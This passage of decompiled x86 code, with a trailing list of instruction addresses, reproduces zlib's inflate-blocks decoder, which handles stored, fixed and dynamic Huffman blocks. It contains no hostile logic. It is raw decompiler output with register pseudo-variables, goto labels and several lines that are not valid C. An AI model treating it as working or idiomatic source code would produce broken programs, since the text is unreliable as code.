									if(_t417 > 3) {
										goto L94;
									} else {
										switch( *((intOrPtr*)(_t417 * 4 +  &M00406C7C))) {
											case 0:
												goto L10;
											case 1:
												goto L11;
											case 2:
												goto L13;
											case 3:
												goto L103;
										}
									}
								} else {
									while(_v16 != 0) {
										_v16 = _v16 - _t424;
										_t432 = ( *_v12 & 0x000000ff) << _t434;
										_t434 = _t434 + 8;
										_a4 = 0;
										_t399 = _t399 | _t432;
										_t424 = 1;
										_v12 = _v12 + 1;
										_v8 = _t399;
										if(_t434 < 3) {
											continue;
										} else {
											goto L8;
										}
										goto L124;
									}
									goto L100;
								}
								goto L124;
							case 1:
								__eflags = __edi - 0x20;
								if(__edi >= 0x20) {
									L17:
									__ecx = __eax;
									__eax =  !__eax;
									__ecx = __ecx & 0x0000ffff;
									__eax = __eax >> 0x10;
									__eflags = __eax - __ecx;
									if(__eax != __ecx) {
										 *__esi = 9;
										 *(__ebx + 0x18) = "invalid stored block lengths";
										_push(0xfffffffd);
										goto L97;
									} else {
										__eax = 0;
										__edi = 0;
										 *(__esi + 4) = __ecx;
										_v8 = 0;
										__eflags = __ecx;
										if(__ecx == 0) {
											 *(__esi + 0x18) =  ~( *(__esi + 0x18));
											asm("sbb ecx, ecx");
											__ecx =  ~( *(__esi + 0x18)) & 0x00000007;
											 *__esi =  ~( *(__esi + 0x18)) & 0x00000007;
										} else {
											__ecx = 2;
											 *__esi = 2;
										}
										goto L95;
									}
								} else {
									while(1) {
										__eflags = _v16;
										if(_v16 == 0) {
											goto L104;
										}
										_v16 = _v16 - __edx;
										__ecx = _v12;
										__edx =  *_v12 & 0x000000ff;
										__ecx = __edi;
										__edx = ( *_v12 & 0x000000ff) << __cl;
										__edi = __edi + 8;
										_a4 = 0;
										__eax = __eax | ( *_v12 & 0x000000ff) << __cl;
										__edx = 1;
										_v12 = _v12 + 1;
										_v8 = __eax;
										__eflags = __edi - 0x20;
										if(__edi < 0x20) {
											continue;
										} else {
											goto L17;
										}
										goto L124;
									}
									goto L104;
								}
								goto L124;
							case 2:
								__eflags = _v16;
								if(_v16 == 0) {
									L104:
									__eax = _v8;
									 *(__esi + 0x20) = _v8;
									goto L101;
								} else {
									__eflags = _v28;
									if(_v28 != 0) {
										L38:
										__eax =  *(__esi + 4);
										__ecx = _v16;
										_a4 = 0;
										_v24 = __eax;
										__eflags = __eax - __ecx;
										if(__eax > __ecx) {
											__eax = __ecx;
											_v24 = __ecx;
										}
										__ecx = _v28;
										__eflags = __eax - __ecx;
										if(__eax > __ecx) {
											_v24 = __ecx;
										}
										__edx = _v24;
										__eax = _v12;
										__ecx = _v20;
										__eax = L00429D20(_v20, _v12, _v24);
										__eax = _v24;
										_v12 = _v12 + __eax;
										_v16 = _v16 - __eax;
										_v20 = _v20 + __eax;
										_v28 = _v28 - __eax;
										_t85 = __esi + 4;
										 *_t85 =  *(__esi + 4) - __eax;
										__eflags =  *_t85;
										__eax = _v8;
										if( *_t85 == 0) {
											 *(__esi + 0x18) =  ~( *(__esi + 0x18));
											asm("sbb edx, edx");
											__edx =  ~( *(__esi + 0x18)) & 0x00000007;
											 *__esi = __edx;
										}
										goto L94;
									} else {
										__edx =  *(__esi + 0x2c);
										__eflags = _v20 - __edx;
										if(_v20 != __edx) {
											L29:
											__ecx = _a4;
											__eax = _v20;
											 *(__esi + 0x34) = _v20;
											__eax = E00405A30(__ebx, __esi, _a4);
											__ecx =  *(__esi + 0x30);
											_a4 = __eax;
											__eax =  *(__esi + 0x34);
											_v20 = __eax;
											__eflags = __eax - __ecx;
											if(__eax >= __ecx) {
												__edx =  *(__esi + 0x2c);
												__edx =  *(__esi + 0x2c) - __eax;
												__eflags = __edx;
											} else {
												__ecx = __ecx - __eax;
												__edx = __ecx - __eax - 1;
											}
											__eax =  *(__esi + 0x2c);
											_v28 = __edx;
											__eflags = _v20 - __eax;
											if(_v20 == __eax) {
												__edx =  *(__esi + 0x28);
												__eflags = __edx - __ecx;
												if(__eflags != 0) {
													_v20 = __edx;
													if(__eflags >= 0) {
														__eax = __eax - __edx;
														__eflags = __eax;
														_v28 = __eax;
													} else {
														__ecx = __ecx - __edx;
														_v28 = __ecx;
													}
												}
											}
											__eflags = _v28;
											if(_v28 == 0) {
												__ecx = _v8;
												__eax = _v12;
												__edx = _v16;
												 *(__esi + 0x20) = _v8;
												 *(__esi + 0x1c) = __edi;
												 *__ebx = __eax;
												__eax = _a4;
												 *(__ebx + 4) = _v16;
												_push(_a4);
												goto L99;
											} else {
												goto L38;
											}
										} else {
											__eax =  *(__esi + 0x30);
											__ecx =  *(__esi + 0x28);
											__eflags = __ecx - __eax;
											if(__eflags == 0) {
												goto L29;
											} else {
												_v20 = __ecx;
												if(__eflags >= 0) {
													__edx = __edx - __ecx;
													__eflags = __edx;
													__eax = __edx;
													_v28 = __edx;
												} else {
													__eax = __eax - __ecx;
													__eax = __eax - 1;
													_v28 = __eax;
												}
												__eflags = __eax;
												if(__eax != 0) {
													goto L38;
												} else {
													goto L29;
												}
											}
										}
									}
								}
								goto L124;
							case 3:
								__eflags = __edi - 0xe;
								if(__edi >= 0xe) {
									L47:
									__eax = __eax & 0x00003fff;
									__ecx = __eax;
									__ecx = __eax & 0x0000001f;
									 *(__esi + 4) = __eax;
									__eflags = __ecx - 0x1d;
									if(__ecx > 0x1d) {
										L109:
										 *__esi = 9;
										 *(__ebx + 0x18) = "too many length or distance symbols";
										goto L110;
									} else {
										__eax = __eax >> 5;
										__eax = __eax & 0x0000001f;
										__eflags = __eax - 0x1d;
										if(__eax > 0x1d) {
											goto L109;
										} else {
											__edx =  *(__ebx + 0x20);
											__eax = __eax + __ecx + 0x102;
											__ecx =  *(__ebx + 0x28);
											_push(4);
											_push(__eax);
											_push( *(__ebx + 0x28));
											__eax =  *( *(__ebx + 0x20))();
											__esp = __esp + 0xc;
											 *(__esi + 0xc) = __eax;
											__eflags = __eax;
											if(__eax == 0) {
												goto L108;
											} else {
												_v8 = _v8 >> 0xe;
												__eax = _v8;
												__edi = __edi - 0xe;
												__eflags = __edi;
												 *(__esi + 8) = 0;
												 *__esi = 4;
												__edx = 1;
												goto L51;
											}
										}
									}
								} else {
									while(1) {
										__eflags = _v16;
										if(_v16 == 0) {
											goto L107;
										}
										_v16 = _v16 - __edx;
										__ecx = _v12;
										__edx =  *_v12 & 0x000000ff;
										__ecx = __edi;
										__edx = ( *_v12 & 0x000000ff) << __cl;
										__edi = __edi + 8;
										_a4 = 0;
										__eax = __eax | ( *_v12 & 0x000000ff) << __cl;
										__edx = 1;
										_v12 = _v12 + 1;
										_v8 = __eax;
										__eflags = __edi - 0xe;
										if(__edi < 0xe) {
											continue;
										} else {
											goto L47;
										}
										goto L124;
									}
									goto L107;
								}
								goto L124;
							case 4:
								L51:
								 *(__esi + 4) =  *(__esi + 4) >> 0xa;
								__ecx = ( *(__esi + 4) >> 0xa) + 4;
								__eflags =  *(__esi + 8) - ( *(__esi + 4) >> 0xa) + 4;
								if( *(__esi + 8) >= ( *(__esi + 4) >> 0xa) + 4) {
									L56:
									__eax = 0x13;
									__eflags =  *(__esi + 8) - 0x13;
									while( *(__esi + 8) < 0x13) {
										__edx =  *(__esi + 8);
										__ecx =  *(0x449ec8 +  *(__esi + 8) * 4);
										__edx =  *(__esi + 0xc);
										 *( *(__esi + 0xc) +  *(0x449ec8 +  *(__esi + 8) * 4) * 4) = 0;
										 *(__esi + 8) =  *(__esi + 8) + 1;
										__eflags =  *(__esi + 8) - 0x13;
									}
									__ecx =  *(__esi + 0x24);
									__edx = __esi + 0x14;
									__eax = __esi + 0x10;
									 *(__esi + 0x10) = 7;
									__eax =  *(__esi + 0xc);
									__eax = E00407260(__ebx,  *(__esi + 0xc),  *(__esi + 0xc), __esi + 0x14,  *(__esi + 0x24));
									_v24 = __eax;
									__eflags = __eax;
									if(__eax != 0) {
										__eflags = _v24 - 0xfffffffd;
										if(_v24 == 0xfffffffd) {
											__edx =  *(__esi + 0xc);
											__eax =  *(__ebx + 0x28);
											__ecx =  *(__ebx + 0x24);
											_push( *(__esi + 0xc));
											_push( *(__ebx + 0x28));
											__eax =  *( *(__ebx + 0x24))();
											__esp = __esp + 8;
											 *__esi = 9;
										}
										__edx = _v8;
										__eax = _v16;
										 *(__esi + 0x20) = _v8;
										 *(__esi + 0x1c) = __edi;
										 *(__ebx + 4) = _v16;
										__eax = _v12;
										 *__ebx = __eax;
										__eax = _v24;
										_push(_v24);
										goto L99;
									} else {
										 *(__esi + 8) = __eax;
										__eax = _v8;
										 *__esi = 5;
										goto L61;
									}
								} else {
									do {
										__eflags = __edi - 3;
										if(__edi >= 3) {
											goto L55;
										} else {
											while(1) {
												__eflags = _v16;
												if(_v16 == 0) {
													goto L107;
												}
												_v16 = _v16 - __edx;
												_v12 =  *_v12 & 0x000000ff;
												__ecx = __edi;
												__edx = ( *_v12 & 0x000000ff) << __cl;
												__edi = __edi + 8;
												_a4 = 0;
												__eax = __eax | ( *_v12 & 0x000000ff) << __cl;
												__edx = 1;
												_v12 = _v12 + 1;
												_v8 = __eax;
												__eflags = __edi - 3;
												if(__edi < 3) {
													continue;
												} else {
													goto L55;
												}
												goto L124;
											}
											goto L107;
										}
										goto L124;
										L55:
										__ecx =  *(__esi + 8);
										__edx =  *(0x449ec8 +  *(__esi + 8) * 4);
										__ecx =  *(__esi + 0xc);
										 *( *(__esi + 0xc) +  *(0x449ec8 +  *(__esi + 8) * 4) * 4) = __eax;
										__eax = _v8;
										__edx = 1;
										 *(__esi + 8) =  *(__esi + 8) + 1;
										 *(__esi + 4) =  *(__esi + 4) >> 0xa;
										__eax = _v8 >> 3;
										__ecx = ( *(__esi + 4) >> 0xa) + 4;
										__edi = __edi - 3;
										_v8 = __eax;
										__eflags =  *(__esi + 8) - ( *(__esi + 4) >> 0xa) + 4;
									} while ( *(__esi + 8) < ( *(__esi + 4) >> 0xa) + 4);
									goto L56;
								}
								goto L124;
							case 5:
								L61:
								__ecx =  *(__esi + 4);
								__ecx = __ecx >> 5;
								__edx = __ecx >> 0x00000005 & 0x0000001f;
								_t148 = __ecx + 0x102; // 0x110
								__ecx = __edx + _t148;
								__eflags =  *(__esi + 8) - __edx + _t148;
								if( *(__esi + 8) >= __edx + _t148) {
									L84:
									__ecx =  *(__esi + 0x24);
									__eax =  *(__esi + 4);
									__edx =  &_v48;
									__ecx =  &_v44;
									 &_v28 =  *(__esi + 0xc);
									 &_v32 = __eax;
									__eax >> 5 = __eax >> 0x00000005 & 0x0000001f;
									__ecx = (__eax >> 0x00000005 & 0x0000001f) + 1;
									__eax = __eax + 0x101;
									 *(__esi + 0x14) = 0;
									_v32 = 9;
									_v28 = 6;
									__eax = E004072F0(__ebx, __eax, __ecx,  *(__esi + 0xc),  &_v32,  &_v28,  &_v44,  &_v48,  *(__esi + 0x24));
									_v24 = __eax;
									__eflags = __eax;
									if(__eax != 0) {
										__eflags = _v24 - 0xfffffffd;
										if(_v24 == 0xfffffffd) {
											__eax =  *(__esi + 0xc);
											__ecx =  *(__ebx + 0x28);
											__edx =  *(__ebx + 0x24);
											_push( *(__esi + 0xc));
											_push( *(__ebx + 0x28));
											__eax =  *( *(__ebx + 0x24))();
											__esp = __esp + 8;
											 *__esi = 9;
										}
										__eax = _v8;
										__ecx = _v16;
										 *(__esi + 0x20) = _v8;
										__eax = _v12;
										 *(__esi + 0x1c) = __edi;
										__eax = __eax -  *__ebx;
										 *(__ebx + 4) = _v16;
										__ecx = _v24;
										_t372 = __ebx + 8;
										 *_t372 =  *(__ebx + 8) + __eax -  *__ebx;
										__eflags =  *_t372;
										 *__ebx = __eax;
										__eax = _v20;
										 *(__esi + 0x34) = _v20;
										__eax = E00405A30(__ebx, __esi, _v24);
										_pop(__edi);
										_pop(__esi);
										return __eax;
									} else {
										__edx =  *(__ebx + 0x28);
										__eax =  *(__ebx + 0x20);
										_push(0x1c);
										_push(1);
										_push( *(__ebx + 0x28));
										__eax =  *( *(__ebx + 0x20))();
										__esp = __esp + 0xc;
										__eflags = __eax;
										if(__eax == 0) {
											L108:
											__edx = _v8;
											__eax = _v16;
											 *(__esi + 0x20) = _v8;
											 *(__esi + 0x1c) = __edi;
											 *(__ebx + 4) = _v16;
											_push(0xfffffffc);
											goto L98;
										} else {
											__cl = _v32;
											 *(__eax + 0x10) = __cl;
											__ecx = _v44;
											 *((char*)(__eax + 0x11)) = _v28;
											__edx = _v48;
											 *__eax = 0;
											 *(__eax + 0x14) = _v44;
											 *(__eax + 0x18) = _v48;
											 *(__esi + 4) = __eax;
											__eax =  *(__esi + 0xc);
											__ecx =  *(__ebx + 0x28);
											__edx =  *(__ebx + 0x24);
											_push( *(__esi + 0xc));
											_push( *(__ebx + 0x28));
											__eax =  *( *(__ebx + 0x24))();
											__esp = __esp + 8;
											 *__esi = 6;
											goto L87;
										}
									}
								} else {
									__edx = 1;
									while(1) {
										__ecx =  *(__esi + 0x10);
										__eflags = __edi - __ecx;
										if(__edi >= __ecx) {
											goto L67;
										} else {
											goto L65;
										}
										while(1) {
											L65:
											__eflags = _v16;
											if(_v16 == 0) {
												break;
											}
											_v16 = _v16 - __edx;
											_v12 =  *_v12 & 0x000000ff;
											__ecx = __edi;
											__edx = ( *_v12 & 0x000000ff) << __cl;
											__ecx =  *(__esi + 0x10);
											__edi = __edi + 8;
											_a4 = 0;
											__eax = __eax | ( *_v12 & 0x000000ff) << __cl;
											__edx = 1;
											_v12 = _v12 + 1;
											_v8 = __eax;
											__eflags = __edi - __ecx;
											if(__edi < __ecx) {
												continue;
											} else {
												goto L67;
											}
											goto L124;
										}
										L107:
										__eax = _v12;
										__ecx = _v8;
										 *(__esi + 0x20) = _v8;
										__ecx = _a4;
										 *(__esi + 0x1c) = __edi;
										__edx = __eax;
										__edx = __eax -  *__ebx;
										 *__ebx = __eax;
										__eax = _v20;
										_t316 = __ebx + 8;
										 *_t316 =  *(__ebx + 8) + __edx;
										__eflags =  *_t316;
										 *(__ebx + 4) = 0;
										 *(__esi + 0x34) = _v20;
										__eax = E00405A30(__ebx, __esi, _a4);
										_pop(__edi);
										_pop(__esi);
										return __eax;
										goto L124;
										L67:
										__ecx =  *(0x448d80 + __ecx * 4);
										__edx =  *(__esi + 0x14);
										__edx =  *(__esi + 0x14) + __ecx * 8;
										__ecx =  *(__edx + 1) & 0x000000ff;
										__edx =  *(__edx + 4);
										_v24 = __ecx;
										_v40 = __edx;
										__eflags = __edx - 0x10;
										if(__edx >= 0x10) {
											__eflags = __edx - 0x12;
											if(__edx != 0x12) {
												_t178 = __edx - 0xe; // 0x0
												__ecx = _t178;
												_v32 = _t178;
											} else {
												_v32 = 7;
											}
											__ecx = 0;
											__eflags = __edx - 0x12;
											0 | __edx == 0x00000012 = 3 + (__edx == 0x12) * 8;
											_v28 = 3 + (__edx == 0x12) * 8;
											__ecx = _v24;
											__ecx = _v24 + _v32;
											_v36 = __ecx;
											__eflags = __edi - __ecx;
											if(__edi >= __ecx) {
												L76:
												__ecx = _v24;
												__eax = __eax >> __cl;
												__ecx = _v32;
												 *(0x448d80 + __ecx * 4) =  *(0x448d80 + __ecx * 4) & __eax;
												_v28 = _v28 + ( *(0x448d80 + __ecx * 4) & __eax);
												__eax = __eax >> __cl;
												__edi = __edi - __ecx;
												__ecx =  *(__esi + 8);
												_v8 = __eax;
												__eax =  *(__esi + 4);
												__eax = __eax >> 5;
												__edx = __eax >> 0x00000005 & 0x0000001f;
												_t208 = __eax + 0x102; // 0x110
												__eax = __edx + _t208;
												_v28 = _v28 + __ecx;
												__eflags = _v28 + __ecx - __eax;
												if(_v28 + __ecx > __eax) {
													L114:
													__ecx =  *(__esi + 0xc);
													__edx =  *(__ebx + 0x28);
													__eax =  *(__ebx + 0x24);
													_push( *(__esi + 0xc));
													_push( *(__ebx + 0x28));
													__eax =  *( *(__ebx + 0x24))();
													__ecx = _v8;
													__eax = _v12;
													__edx = _v16;
													 *__esi = 9;
													 *(__ebx + 0x18) = "invalid bit length repeat";
													 *(__esi + 0x20) = _v8;
													 *(__esi + 0x1c) = __edi;
													__eax = __eax -  *__ebx;
													 *(__ebx + 4) = _v16;
													__edx = _v20;
													_t358 = __ebx + 8;
													 *_t358 =  *(__ebx + 8) + __eax -  *__ebx;
													__eflags =  *_t358;
													 *__ebx = __eax;
													 *(__esi + 0x34) = _v20;
													__eax = E00405A30(__ebx, __esi, 0xfffffffd);
													_pop(__edi);
													_pop(__esi);
													return __eax;
												} else {
													__eflags = _v40 - 0x10;
													if(_v40 != 0x10) {
														__eax = 0;
														__eflags = 0;
														goto L81;
													} else {
														__eflags = __ecx - 1;
														if(__ecx < 1) {
															goto L114;
														} else {
															__eax =  *(__esi + 0xc);
															__eax =  *( *(__esi + 0xc) + __ecx * 4 - 4);
															do {
																L81:
																__edx =  *(__esi + 0xc);
																 *( *(__esi + 0xc) + __ecx * 4) = __eax;
																__ecx = __ecx + 1;
																_t218 =  &_v28;
																 *_t218 = _v28 - 1;
																__eflags =  *_t218;
															} while ( *_t218 != 0);
															 *(__esi + 8) = __ecx;
															__edx = 1;
															goto L83;
														}
													}
												}
											} else {
												__ecx = 1;
												while(1) {
													__eflags = _v16;
													if(_v16 == 0) {
														break;
													}
													__edx = _v12;
													_v16 = _v16 - __ecx;
													__edx =  *_v12 & 0x000000ff;
													__ecx = __edi;
													__edx = ( *_v12 & 0x000000ff) << __cl;
													__ecx = 1;
													_v12 = _v12 + 1;
													__edi = __edi + 8;
													__eax = __eax | ( *_v12 & 0x000000ff) << __cl;
													_a4 = 0;
													_v8 = __eax;
													__eflags = __edi - _v36;
													if(__edi < _v36) {
														continue;
													} else {
														goto L76;
													}
													goto L124;
												}
												L100:
												_t438[8] = _v8;
												L101:
												_t402 = _v12;
												_t438[7] = _t434;
												_t414 = _t402 -  *_t405;
												 *_t405 = _t402;
												_t405[1] = 0;
												_push(_a4);
												goto L99;
											}
										} else {
											__eax = __eax >> __cl;
											__edi = __edi - __ecx;
											__ecx =  *(__esi + 0xc);
											_v8 = __eax;
											__eax =  *(__esi + 8);
											 *( *(__esi + 0xc) +  *(__esi + 8) * 4) = __edx;
											__edx = 1;
											 *(__esi + 8) =  *(__esi + 8) + 1;
											L83:
											__eax =  *(__esi + 4);
											__eax = __eax >> 5;
											__ecx = __eax >> 0x00000005 & 0x0000001f;
											_t223 = __eax + 0x102; // 0x110
											__eax = __ecx + _t223;
											__eflags =  *(__esi + 8) - __ecx + _t223;
											if( *(__esi + 8) < __ecx + _t223) {
												__eax = _v8;
												__ecx =  *(__esi + 0x10);
												__eflags = __edi - __ecx;
												if(__edi >= __ecx) {
													goto L67;
												} else {
													goto L65;
												}
											} else {
												goto L84;
											}
										}
										goto L124;
									}
								}
								goto L124;
							case 6:
								L87:
								__eax = _v8;
								__ecx = _v16;
								 *(__esi + 0x20) = _v8;
								__eax = _v12;
								 *(__esi + 0x1c) = __edi;
								__eax = __eax -  *__ebx;
								 *(__ebx + 4) = _v16;
								__ecx = _a4;
								 *(__ebx + 8) =  *(__ebx + 8) + __eax -  *__ebx;
								 *__ebx = __eax;
								__eax = _v20;
								 *(__esi + 0x34) = _v20;
								__eax = __ebx;
								__ecx = __esi;
								__eax = E00405B70(__ebx, __esi, _a4);
								__eflags = __eax - 1;
								if(__eax != 1) {
									goto L121;
								} else {
									__edx =  *(__esi + 4);
									__eax =  *(__ebx + 0x28);
									__ecx =  *(__ebx + 0x24);
									_push( *(__esi + 4));
									_push( *(__ebx + 0x28));
									_a4 = 0;
									 *( *(__ebx + 0x24))() =  *(__ebx + 4);
									__ecx =  *(__esi + 0x20);
									__edx =  *__ebx;
									__edi =  *(__esi + 0x1c);
									_v16 =  *(__ebx + 4);
									__eax =  *(__esi + 0x30);
									_v8 =  *(__esi + 0x20);
									__ecx =  *(__esi + 0x34);
									__esp = __esp + 8;
									_v12 = __edx;
									_v20 = __ecx;
									__eflags = __ecx - __eax;
									if(__ecx >= __eax) {
										__eax =  *(__esi + 0x2c);
										__eax =  *(__esi + 0x2c) - __ecx;
										__eflags = __eax;
									} else {
										__eax = __eax - __ecx;
										__eax = __eax - 1;
									}
									__eflags =  *(__esi + 0x18);
									_v28 = __eax;
									if( *(__esi + 0x18) != 0) {
										 *__esi = 7;
										goto L119;
									} else {
										 *__esi = 0;
										goto L93;
									}
								}
								goto L124;
							case 7:
								L119:
								__ecx = _a4;
								__eax = _v20;
								 *(__esi + 0x34) = _v20;
								__eax = E00405A30(__ebx, __esi, _a4);
								__ecx =  *(__esi + 0x34);
								_v20 = __ecx;
								__eflags =  *(__esi + 0x30) - __ecx;
								if( *(__esi + 0x30) == __ecx) {
									 *__esi = 8;
									goto L123;
								} else {
									__edx = _v8;
									__ecx = _v16;
									 *(__esi + 0x20) = _v8;
									 *(__esi + 0x1c) = __edi;
									 *(__ebx + 4) = _v16;
									__ecx = _v12;
									__edx = __ecx;
									__edx = __ecx -  *__ebx;
									 *__ebx = __ecx;
									__ecx = _v20;
									_t389 = __ebx + 8;
									 *_t389 =  *(__ebx + 8) + __edx;
									__eflags =  *_t389;
									 *(__esi + 0x34) = _v20;
									L121:
									__eax = E00405A30(__ebx, __esi, __eax);
									_pop(__edi);
									_pop(__esi);
									return __eax;
								}
								goto L124;
							case 8:
								L123:
								__edx = _v8;
								__eax = _v16;
								 *(__esi + 0x20) = _v8;
								 *(__esi + 0x1c) = __edi;
								 *(__ebx + 4) = _v16;
								_push(1);
								goto L98;
							case 9:
								L110:
								__eax = _v8;
								__ecx = _v16;
								 *(__esi + 0x20) = _v8;
								__eax = _v12;
								 *(__esi + 0x1c) = __edi;
								__edx = __eax;
								__edx = __eax -  *__ebx;
								 *__ebx = __eax;
								__eax = _v20;
								_t332 = __ebx + 8;
								 *_t332 =  *(__ebx + 8) + __edx;
								__eflags =  *_t332;
								 *(__ebx + 4) = _v16;
								 *(__esi + 0x34) = _v20;
								__eax = E00405A30(__ebx, __esi, 0xfffffffd);
								_pop(__edi);
								_pop(__esi);
								return __eax;
								goto L124;
							case 0xa:
								L10:
								_t436 = _t434 - 3;
								_t419 = _t436 & 0x00000007;
								_t399 = _t399 >> 3 >> _t419;
								_t424 = 1;
								_t434 = _t436 - _t419;
								 *_t438 = 1;
								_v8 = _t399;
								goto L95;
							case 0xb:
								L11:
								__eax = __ebx;
								__eax = E00405B30(__ebx, 9, 5, 0x448dc8, 0x449dc8);
								 *(__esi + 4) = __eax;
								__eflags = __eax;
								if(__eax == 0) {
									_push(0xfffffffc);
									L97:
									_t438[8] = _v8;
									_t438[7] = _t434;
									_t405[1] = _v16;
									goto L98;
								} else {
									_v8 = _v8 >> 3;
									__edi = __edi - 3;
									 *__esi = 6;
									L93:
									__eax = _v8;
									goto L94;
								}
								goto L124;
							case 0xc:
								L13:
								__eax = __eax >> 3;
								_v8 = __eax;
								__edi = __edi - 3;
								 *__esi = 3;
								L94:
								_t424 = 1;
								goto L95;
							case 0xd:
								L103:
								_v8 = _v8 >> 3;
								 *__esi = 9;
								 *(__ebx + 0x18) = "invalid block type";
								 *(__esi + 0x20) = _v8 >> 3;
								__eax = _v16;
								 *(__esi + 0x1c) = __edi;
								 *(__ebx + 4) = _v16;
								_push(0xfffffffd);
								L98:
								_t400 = _v12;
								_t414 = _t400 -  *_t405;
								 *_t405 = _t400;
								L99:
								_t405[2] = _t405[2] + _t414;
								_t438[0xd] = _v20;
								return E00405A30(_t405, _t438);
								goto L124;
						}
						L95:
						_t411 =  *_t438;
					} while (_t411 <= 9);
					goto L96;
				}
				L124:
			}

0x004062e7
0x004062ec
0x004062f1
0x004062f4
0x004062f7
0x004062fa
0x004062fd
0x00406301
0x00406304
0x00406307
0x0040630c
0x0040631c
0x0040631e
0x0040630e
0x00406310
0x00406315
0x00406315
0x00406323
0x00406326
0x0040632b
0x004069c9
0x004069c9
0x00000000
0x00406331
0x00406331
0x00406331
0x00000000
0x0040633b
0x00406370
0x00406372
0x0040637a
0x0040637c
0x00406382
0x00000000
0x00406388
0x00406388
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406388
0x0040633d
0x0040633d
0x00406347
0x00406352
0x00406354
0x00406357
0x0040635e
0x00406360
0x00406365
0x00406368
0x0040636e
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0040636e
0x00000000
0x0040633d
0x00000000
0x00000000
0x004063f6
0x004063f9
0x0040642e
0x0040642e
0x00406430
0x00406432
0x00406438
0x0040643b
0x0040643d
0x00406a4c
0x00406a52
0x00406a59
0x00000000
0x00406443
0x00406443
0x00406445
0x00406447
0x0040644a
0x0040644d
0x0040644f
0x00406460
0x00406462
0x00406464
0x00406467
0x00406451
0x00406451
0x00406456
0x00406456
0x00000000
0x0040644f
0x004063fb
0x004063fb
0x004063fb
0x004063ff
0x00000000
0x00000000
0x00406405
0x00406408
0x0040640b
0x0040640e
0x00406410
0x00406412
0x00406415
0x0040641c
0x0040641e
0x00406423
0x00406426
0x00406429
0x0040642c
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0040642c
0x00000000
0x004063fb
0x00000000
0x00000000
0x0040646e
0x00406472
0x00406a44
0x00406a44
0x00406a47
0x00000000
0x00406478
0x00406478
0x0040647c
0x00406508
0x00406508
0x0040650b
0x0040650e
0x00406515
0x00406518
0x0040651a
0x0040651c
0x0040651e
0x0040651e
0x00406521
0x00406524
0x00406526
0x00406528
0x00406528
0x0040652b
0x0040652e
0x00406531
0x00406537
0x0040653c
0x0040653f
0x00406542
0x00406545
0x00406548
0x0040654e
0x0040654e
0x0040654e
0x00406551
0x00406554
0x0040655d
0x0040655f
0x00406561
0x00406564
0x00406564
0x00000000
0x00406482
0x00406482
0x00406485
0x00406488
0x004064ac
0x004064ac
0x004064af
0x004064b3
0x004064b6
0x004064bb
0x004064be
0x004064c1
0x004064c7
0x004064ca
0x004064cc
0x004064d5
0x004064d8
0x004064d8
0x004064ce
0x004064d0
0x004064d2
0x004064d2
0x004064da
0x004064dd
0x004064e0
0x004064e3
0x004064e5
0x004064e8
0x004064ea
0x004064ec
0x004064ef
0x004064f9
0x004064f9
0x004064fb
0x004064f1
0x004064f1
0x004064f4
0x004064f4
0x004064ef
0x004064ea
0x004064fe
0x00406502
0x00406a60
0x00406a63
0x00406a66
0x00406a69
0x00406a6c
0x00406a73
0x00406a75
0x00406a78
0x00406a7b
0x00000000
0x00000000
0x00000000
0x00000000
0x0040648a
0x0040648a
0x0040648d
0x00406490
0x00406492
0x00000000
0x00406494
0x00406494
0x00406497
0x004064a1
0x004064a1
0x004064a3
0x004064a5
0x00406499
0x00406499
0x0040649b
0x0040649c
0x0040649c
0x004064a8
0x004064aa
0x00000000
0x00000000
0x00000000
0x00000000
0x004064aa
0x00406492
0x00406488
0x0040647c
0x00000000
0x00000000
0x0040656b
0x0040656e
0x004065a3
0x004065a3
0x004065a8
0x004065aa
0x004065ad
0x004065b0
0x004065b3
0x00406acc
0x00406acc
0x00406ad2
0x00000000
0x004065b9
0x004065b9
0x004065bc
0x004065bf
0x004065c2
0x00000000
0x004065c8
0x004065c8
0x004065cb
0x004065d2
0x004065d5
0x004065d7
0x004065d8
0x004065d9
0x004065db
0x004065de
0x004065e1
0x004065e3
0x00000000
0x004065e9
0x004065e9
0x004065ed
0x004065f0
0x004065f0
0x004065f3
0x004065fa
0x00406600
0x00000000
0x00406600
0x004065e3
0x004065c2
0x00406570
0x00406570
0x00406570
0x00406574
0x00000000
0x00000000
0x0040657a
0x0040657d
0x00406580
0x00406583
0x00406585
0x00406587
0x0040658a
0x00406591
0x00406593
0x00406598
0x0040659b
0x0040659e
0x004065a1
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004065a1
0x00000000
0x00406570
0x00000000
0x00000000
0x00406605
0x00406608
0x0040660b
0x0040660e
0x00406611
0x00406680
0x00406680
0x00406685
0x00406688
0x00406690
0x00406693
0x0040669a
0x0040669d
0x004066a4
0x004066a7
0x004066a7
0x004066ac
0x004066b0
0x004066b3
0x004066b8
0x004066be
0x004066c2
0x004066ca
0x004066cd
0x004066cf
0x00406b0b
0x00406b0f
0x00406b11
0x00406b14
0x00406b17
0x00406b1a
0x00406b1b
0x00406b1c
0x00406b1e
0x00406b21
0x00406b21
0x00406b27
0x00406b2a
0x00406b2d
0x00406b30
0x00406b33
0x00406b36
0x00406b3d
0x00406b3f
0x00406b42
0x00000000
0x004066d5
0x004066d5
0x004066d8
0x004066db
0x00000000
0x004066db
0x00406613
0x00406613
0x00406613
0x00406616
0x00000000
0x00406618
0x00406618
0x00406618
0x0040661c
0x00000000
0x00000000
0x00406622
0x00406628
0x0040662b
0x0040662d
0x0040662f
0x00406632
0x00406639
0x0040663b
0x00406640
0x00406643
0x00406646
0x00406649
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406649
0x00000000
0x00406618
0x00000000
0x0040664b
0x0040664b
0x0040664e
0x00406655
0x0040665b
0x0040665e
0x00406661
0x00406666
0x0040666c
0x0040666f
0x00406672
0x00406675
0x00406678
0x0040667b
0x0040667b
0x00000000
0x00406613
0x00000000
0x00000000
0x004066e1
0x004066e1
0x004066e6
0x004066e9
0x004066ef
0x004066ef
0x004066f6
0x004066f9
0x00406882
0x00406882
0x00406885
0x00406889
0x0040688d
0x00406895
0x0040689c
0x004068a1
0x004068a5
0x004068aa
0x004068b0
0x004068b7
0x004068be
0x004068c5
0x004068cd
0x004068d0
0x004068d2
0x00406b94
0x00406b98
0x00406b9a
0x00406b9d
0x00406ba0
0x00406ba3
0x00406ba4
0x00406ba5
0x00406ba7
0x00406baa
0x00406baa
0x00406bb0
0x00406bb3
0x00406bb6
0x00406bb9
0x00406bbc
0x00406bc1
0x00406bc3
0x00406bc6
